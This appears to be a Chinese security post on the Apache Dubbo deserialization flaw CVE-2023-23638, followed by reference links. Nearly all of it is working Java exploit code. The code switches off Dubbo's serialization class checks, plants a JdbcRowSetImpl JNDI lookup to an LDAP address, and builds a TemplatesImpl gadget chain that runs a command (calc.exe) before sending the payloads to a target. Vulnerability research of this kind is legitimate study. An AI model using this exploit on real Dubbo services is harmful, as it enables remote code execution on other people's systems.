Apache Dubbo反序列化漏洞(CVE-2023-23638)

private static Map getInstance() throws IOException {    HashMap newChecker = new HashMap();    newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");    newChecker.put("OPEN_CHECK_CLASS", false);    HashMap map = new HashMap();    map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");    map.put("INSTANCE", newChecker);    LinkedHashMap map2 = new LinkedHashMap();    map2.put("class", "com.sun.rowset.JdbcRowSetImpl");    map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");    map2.put("autoCommit", true);    HashMap map3 = new HashMap();    map3.put("class","java.util.HashMap");    map3.put("1",map);    map3.put("2",map2);    return map3;}

public static Map getProperties() throws IOException {    Properties properties = new Properties();    properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");    properties.setProperty("serialization.security.check","false");    HashMap map = new HashMap();    map.put("class", "java.lang.System");    map.put("properties", properties);    return map;}
public static Object getObject() throws Exception{    ClassPool pool = ClassPool.getDefault();    CtClass clazz = pool.makeClass("a");    CtClass superClass = pool.get(AbstractTranslet.class.getName());    clazz.setSuperclass(superClass);    CtConstructor constructor = new CtConstructor(new CtClass[]{},            clazz);    constructor.setBody("Runtime.getRuntime().exec("calc.exe");");    clazz.addConstructor(constructor);    byte[][] bytes = new byte[][]{clazz.toBytecode()};    TemplatesImpl templates = TemplatesImpl.class.newInstance();    setValue(templates, "_bytecodes", bytes);    setValue(templates, "_name", "test");    setValue(templates, "_tfactory", null);    JSONArray jsonArray = new JSONArray();    jsonArray.add(templates);    BadAttributeValueExpException val = new            BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    valfield.setAccessible(true);    valfield.set(val, jsonArray);
    NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();    UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();    ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);    o.writeObject(val);
    return unsafeByteArrayOutputStream.toByteArray();}
send(getProperties());send(getObject());

https://lists.apache.org/thread/8h6zscfzj482z512d2v5ft63hdhzm0cbhttps://exp10it.cn/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/https://forum.butian.net/share/2277https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/